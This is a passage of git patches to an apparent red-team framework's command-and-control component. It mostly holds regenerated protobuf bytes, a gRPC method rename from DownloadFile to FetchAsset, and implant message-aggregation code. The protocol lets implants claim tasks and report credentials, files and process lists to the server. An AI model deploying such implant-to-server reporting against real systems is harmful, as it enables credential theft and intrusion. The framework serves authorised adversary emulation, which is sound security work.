0x52, - 0x04, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x1b, 0x0a, 0x19, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, + 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x74, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x27, 0x0a, 0x11, + 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x2a, 0x0a, 0x12, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, + 0x73, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, + 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x68, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x17, 0x0a, 0x07, + 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x74, + 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x34, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x65, 0x6c, 0x64, 0x72, + 0x69, 0x74, 0x63, 0x68, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, + 0x0a, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x22, 0x1a, 0x0a, 0x18, 0x52, + 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x52, 0x0a, 0x11, 0x52, 0x65, 0x70, 0x6f, 0x72, + 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x17, 0x0a, 0x07, + 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x74, + 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, + 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x14, 0x0a, 0x12, 0x52, + 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x5e, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x17, 0x0a, + 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, + 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x04, 0x6c, 0x69, 0x73, + 0x74, 0x22, 0x1b, 0x0a, 0x19, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x41, + 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, + 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x06, 0x6f, 0x75, 0x74, + 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x32, 0x2e, 0x54, + 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, + 0x74, 0x22, 0x1a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, + 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0xb3, 0x03, + 0x0a, 0x02, 0x43, 0x32, 0x12, 0x3d, 0x0a, 0x0a, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, + 0x6b, 0x73, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, + 0x6b, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x43, + 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x0a, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, + 0x74, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x46, 0x65, + 0x74, 0x63, 0x68, 0x41, 0x73, 0x73, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x30, 0x01, 0x12, 0x4d, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, + 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, + 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x3d, 0x0a, 0x0a, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x12, + 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x28, 0x01, + 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, + 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x41, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, - 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, - 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, - 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0x1a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, + 0x73, 0x65, 0x12, 0x4f, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, + 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x32, 0xb9, 0x03, 0x0a, 0x02, 0x43, 0x32, 0x12, 0x3d, 0x0a, 0x0a, 0x43, 0x6c, 0x61, 0x69, - 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, - 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x63, 0x32, 0x2e, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x43, 0x0a, 0x0c, 0x44, 0x6f, 0x77, 0x6e, 0x6c, - 0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x44, 0x6f, 0x77, - 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x18, 0x2e, 0x63, 0x32, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x30, 0x01, 0x12, 0x4d, 0x0a, 0x10, - 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, - 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3d, 0x0a, 0x0a, 0x52, - 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x32, 0x2e, 0x52, - 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x28, 0x01, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, - 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, - 0x1c, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, - 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4f, 0x0a, 0x10, - 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, - 0x12, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, - 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, - 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x42, 0x23, 0x5a, - 0x21, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, - 0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x63, 0x32, - 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x65, 0x22, 0x00, 0x42, 0x23, 0x5a, 0x21, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, + 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, + 0x2f, 0x63, 0x32, 0x2f, 0x63, 0x32, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1180,8 +1179,8 @@ var file_c2_proto_goTypes = []interface{}{ (*TaskOutput)(nil), // 6: c2.TaskOutput (*ClaimTasksRequest)(nil), // 7: c2.ClaimTasksRequest (*ClaimTasksResponse)(nil), // 8: c2.ClaimTasksResponse - (*FetchAssetRequest)(nil), // 9: c2.FetchAssetRequest - (*FetchAssetResponse)(nil), // 10: c2.FetchAssetResponse + (*FetchAssetRequest)(nil), // 9: c2.FetchAssetRequest + (*FetchAssetResponse)(nil), // 10: c2.FetchAssetResponse (*ReportCredentialRequest)(nil), // 11: c2.ReportCredentialRequest (*ReportCredentialResponse)(nil), // 12: c2.ReportCredentialResponse (*ReportFileRequest)(nil), // 13: c2.ReportFileRequest @@ -1211,13 +1210,13 @@ var file_c2_proto_depIdxs = []int32{ 23, // 11: c2.ReportProcessListRequest.list:type_name -> eldritch.ProcessList 6, // 12: c2.ReportTaskOutputRequest.output:type_name -> c2.TaskOutput 7, // 13: c2.C2.ClaimTasks:input_type -> c2.ClaimTasksRequest - 9, // 14: c2.C2.DownloadFile:input_type -> c2.FetchAssetRequest + 9, // 14: c2.C2.FetchAsset:input_type -> c2.FetchAssetRequest 11, // 15: c2.C2.ReportCredential:input_type -> c2.ReportCredentialRequest 13, // 16: c2.C2.ReportFile:input_type -> c2.ReportFileRequest 15, // 17: c2.C2.ReportProcessList:input_type -> c2.ReportProcessListRequest 17, // 18: c2.C2.ReportTaskOutput:input_type -> c2.ReportTaskOutputRequest 8, // 19: c2.C2.ClaimTasks:output_type -> c2.ClaimTasksResponse - 10, // 20: c2.C2.DownloadFile:output_type -> c2.FetchAssetResponse + 10, // 20: c2.C2.FetchAsset:output_type -> c2.FetchAssetResponse 12, // 21: c2.C2.ReportCredential:output_type -> c2.ReportCredentialResponse 14, // 22: c2.C2.ReportFile:output_type -> c2.ReportFileResponse 16, // 23: c2.C2.ReportProcessList:output_type -> c2.ReportProcessListResponse diff --git a/tavern/internal/c2/c2pb/c2_grpc.pb.go b/tavern/internal/c2/c2pb/c2_grpc.pb.go index 31d42f130..045eb89a7 100644 --- a/tavern/internal/c2/c2pb/c2_grpc.pb.go +++ b/tavern/internal/c2/c2pb/c2_grpc.pb.go @@ -24,14 +24,14 @@ const _ = grpc.SupportPackageIsVersion7 type C2Client interface { // Contact the server for new tasks to execute. ClaimTasks(ctx context.Context, in *ClaimTasksRequest, opts ...grpc.CallOption) (*ClaimTasksResponse, error) - // Download a file from the server, returning one or more chunks of data. + // Fetch an asset from the server, returning one or more chunks of data. // The maximum size of these chunks is determined by the server. // The server should reply with two headers: // - "sha3-256-checksum": A SHA3-256 digest of the entire file contents. // - "file-size": The number of bytes contained by the file. // // If no associated file can be found, a NotFound status error is returned. - DownloadFile(ctx context.Context, in *FetchAssetRequest, opts ...grpc.CallOption) (C2_DownloadFileClient, error) + FetchAsset(ctx context.Context, in *FetchAssetRequest, opts ...grpc.CallOption) (C2_FetchAssetClient, error) // Report a credential from the host to the server. ReportCredential(ctx context.Context, in *ReportCredentialRequest, opts ...grpc.CallOption) (*ReportCredentialResponse, error) // Report a file from the host to the server. @@ -66,12 +66,12 @@ func (c *c2Client) ClaimTasks(ctx context.Context, in *ClaimTasksRequest, opts . return out, nil } -func (c *c2Client) DownloadFile(ctx context.Context, in *FetchAssetRequest, opts ...grpc.CallOption) (C2_DownloadFileClient, error) { - stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[0], "/c2.C2/DownloadFile", opts...) +func (c *c2Client) FetchAsset(ctx context.Context, in *FetchAssetRequest, opts ...grpc.CallOption) (C2_FetchAssetClient, error) { + stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[0], "/c2.C2/FetchAsset", opts...) if err != nil { return nil, err } - x := &c2DownloadFileClient{stream} + x := &c2FetchAssetClient{stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } @@ -81,16 +81,16 @@ func (c *c2Client) DownloadFile(ctx context.Context, in *FetchAssetRequest, opts return x, nil } -type C2_DownloadFileClient interface { +type C2_FetchAssetClient interface { Recv() (*FetchAssetResponse, error) grpc.ClientStream } -type c2DownloadFileClient struct { +type c2FetchAssetClient struct { grpc.ClientStream } -func (x *c2DownloadFileClient) Recv() (*FetchAssetResponse, error) { +func (x *c2FetchAssetClient) Recv() (*FetchAssetResponse, error) { m := new(FetchAssetResponse) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err @@ -165,14 +165,14 @@ func (c *c2Client) ReportTaskOutput(ctx context.Context, in *ReportTaskOutputReq type C2Server interface { // Contact the server for new tasks to execute. ClaimTasks(context.Context, *ClaimTasksRequest) (*ClaimTasksResponse, error) - // Download a file from the server, returning one or more chunks of data. + // Fetch an asset from the server, returning one or more chunks of data. // The maximum size of these chunks is determined by the server. // The server should reply with two headers: // - "sha3-256-checksum": A SHA3-256 digest of the entire file contents. // - "file-size": The number of bytes contained by the file. // // If no associated file can be found, a NotFound status error is returned. - DownloadFile(*FetchAssetRequest, C2_DownloadFileServer) error + FetchAsset(*FetchAssetRequest, C2_FetchAssetServer) error // Report a credential from the host to the server. ReportCredential(context.Context, *ReportCredentialRequest) (*ReportCredentialResponse, error) // Report a file from the host to the server. @@ -198,8 +198,8 @@ type UnimplementedC2Server struct { func (UnimplementedC2Server) ClaimTasks(context.Context, *ClaimTasksRequest) (*ClaimTasksResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ClaimTasks not implemented") } -func (UnimplementedC2Server) DownloadFile(*FetchAssetRequest, C2_DownloadFileServer) error { - return status.Errorf(codes.Unimplemented, "method DownloadFile not implemented") +func (UnimplementedC2Server) FetchAsset(*FetchAssetRequest, C2_FetchAssetServer) error { + return status.Errorf(codes.Unimplemented, "method FetchAsset not implemented") } func (UnimplementedC2Server) ReportCredential(context.Context, *ReportCredentialRequest) (*ReportCredentialResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ReportCredential not implemented") @@ -244,24 +244,24 @@ func _C2_ClaimTasks_Handler(srv interface{}, ctx context.Context, dec func(inter return interceptor(ctx, in, info, handler) } -func _C2_DownloadFile_Handler(srv interface{}, stream grpc.ServerStream) error { +func _C2_FetchAsset_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(FetchAssetRequest) if err := stream.RecvMsg(m); err != nil { return err } - return srv.(C2Server).DownloadFile(m, &c2DownloadFileServer{stream}) + return srv.(C2Server).FetchAsset(m, &c2FetchAssetServer{stream}) } -type C2_DownloadFileServer interface { +type C2_FetchAssetServer interface { Send(*FetchAssetResponse) error grpc.ServerStream } -type c2DownloadFileServer struct { +type c2FetchAssetServer struct { grpc.ServerStream } -func (x *c2DownloadFileServer) Send(m *FetchAssetResponse) error { +func (x *c2FetchAssetServer) Send(m *FetchAssetResponse) error { return x.ServerStream.SendMsg(m) } @@ -371,8 +371,8 @@ var C2_ServiceDesc = grpc.ServiceDesc{ }, Streams: []grpc.StreamDesc{ { - StreamName: "DownloadFile", - Handler: _C2_DownloadFile_Handler, + StreamName: "FetchAsset", + Handler: _C2_FetchAsset_Handler, ServerStreams: true, }, { From 2a84f2ea29fb8992bb1d59e3fb865c4b09aca0f4 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Fri, 16 Feb 2024 03:40:50 +0000 Subject: [PATCH 10/13] some fixes --- implants/lib/eldritch/src/runtime/eval.rs | 23 +- .../src/runtime/messages/fetch_asset.rs | 7 + .../lib/eldritch/src/runtime/messages/mod.rs | 10 +- .../eldritch/src/runtime/messages/reduce.rs | 297 ++++++++++++++++++ .../src/runtime/messages/report_agg_output.rs | 43 +++ .../src/runtime/messages/report_credential.rs | 2 +- .../src/runtime/messages/report_error.rs | 2 +- .../src/runtime/messages/report_file.rs | 34 +- .../src/runtime/messages/report_finish.rs | 6 +- .../runtime/messages/report_process_list.rs | 2 +- .../src/runtime/messages/report_start.rs | 6 +- .../src/runtime/messages/report_text.rs | 2 +- implants/lib/transport/src/grpc.rs | 10 +- tavern/internal/c2/api_report_file.go | 2 +- tavern/tomes/example/main.eldritch | 13 + 15 files changed, 427 insertions(+), 32 deletions(-) create mode 100644 implants/lib/eldritch/src/runtime/messages/reduce.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/report_agg_output.rs diff --git a/implants/lib/eldritch/src/runtime/eval.rs b/implants/lib/eldritch/src/runtime/eval.rs index 051da3bb8..d53087522 100644 --- a/implants/lib/eldritch/src/runtime/eval.rs +++ b/implants/lib/eldritch/src/runtime/eval.rs @@ -7,7 +7,7 @@ use crate::{ process::ProcessLibrary, report::ReportLibrary, runtime::{ - messages::{Message, ReportErrorMessage, ReportFinishMessage, ReportStartMessage}, + messages::{reduce, Message, ReportErrorMessage, ReportFinishMessage, ReportStartMessage}, Environment, }, sys::SysLibrary, @@ -39,10 +39,10 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { let start = Utc::now(); match env.send(ReportStartMessage { id, - exec_started_at: Some(Timestamp { + exec_started_at: Timestamp { seconds: start.timestamp(), nanos: start.timestamp_subsec_nanos() as i32, - }), + }, }) { Ok(_) => {} Err(_err) => { @@ -66,8 +66,8 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { } Err(err) => { #[cfg(debug_assertions)] - log::info!( - "tome evaluation failed (task_id={},tome={:?}): {}", + log::error!( + "tome evaluation failed (task_id={},tome={:#?}): {:?}", id, tome, err @@ -82,7 +82,7 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { Err(_send_err) => { #[cfg(debug_assertions)] log::error!( - "failed to report tome evaluation error (task_id={},tome={:?}): {}", + "failed to report tome evaluation error (task_id={},tome={:#?}): {}", id, tome, _send_err @@ -96,10 +96,10 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { let finish = Utc::now(); match env.send(ReportFinishMessage { id, - exec_finished_at: Some(Timestamp { + exec_finished_at: Timestamp { seconds: finish.timestamp(), nanos: finish.timestamp_subsec_nanos() as i32, - }), + }, }) { Ok(_) => {} Err(_err) => { @@ -221,14 +221,19 @@ impl Runtime { /* * Collects the currently available messages from the tome. + * + * This will also attempt to reduce the messages by combining similar messages into an aggregate message. + * This will reduce the number of requests when dispatching messages to a transport. */ pub fn collect(&self) -> Vec { - drain(&self.rx) + reduce(drain(&self.rx)) } /* * Borrow the underlying message receiver. * + * This DOES NOT reduce or aggregate the received messages in any way. + * * This is most useful to block for all runtime messages, whereas collect would only * return the currently available messages. * diff --git a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs index 9bb430aff..7c4462158 100644 --- a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs +++ b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs @@ -23,3 +23,10 @@ impl Dispatcher for FetchAssetMessage { Ok(()) } } + +#[cfg(debug_assertions)] +impl PartialEq for FetchAssetMessage { + fn eq(&self, other: &Self) -> bool { + self.name == other.name + } +} diff --git a/implants/lib/eldritch/src/runtime/messages/mod.rs b/implants/lib/eldritch/src/runtime/messages/mod.rs index cbd4506a4..cf14d4f4c 100644 --- a/implants/lib/eldritch/src/runtime/messages/mod.rs +++ b/implants/lib/eldritch/src/runtime/messages/mod.rs @@ -1,4 +1,6 @@ mod fetch_asset; +mod reduce; +mod report_agg_output; mod report_credential; mod report_error; mod report_file; @@ -8,6 +10,7 @@ mod report_start; mod report_text; pub use fetch_asset::FetchAssetMessage; +pub(super) use reduce::reduce; pub use report_credential::ReportCredentialMessage; pub use report_error::ReportErrorMessage; pub use report_file::ReportFileMessage; @@ -19,6 +22,7 @@ pub use transport::Transport; use anyhow::Result; use derive_more::From; +use report_agg_output::ReportAggOutputMessage; use std::future::Future; #[cfg(debug_assertions)] @@ -34,7 +38,7 @@ pub trait Dispatcher { * This enables eldritch library functions to communicate with the caller API, enabling structured data reporting * as well as resource requests (e.g. fetching assets). */ -#[cfg_attr(debug_assertions, derive(Debug, Display))] +#[cfg_attr(debug_assertions, derive(Debug, Display, PartialEq))] #[derive(From, Clone)] pub enum Message { #[cfg_attr(debug_assertions, display(fmt = "FetchAsset"))] @@ -60,6 +64,9 @@ pub enum Message { #[cfg_attr(debug_assertions, display(fmt = "ReportFinish"))] ReportFinish(ReportFinishMessage), + + #[cfg_attr(debug_assertions, display(fmt = "ReportAggOutput"))] + ReportAggOutput(ReportAggOutputMessage), } // The Dispatcher implementation for `Message` simply calls the `dispatch()` implementation on the underlying variant. @@ -76,6 +83,7 @@ impl Dispatcher for Message { Self::ReportFile(msg) => msg.dispatch(transport).await, Self::ReportProcessList(msg) => msg.dispatch(transport).await, Self::ReportText(msg) => msg.dispatch(transport).await, + 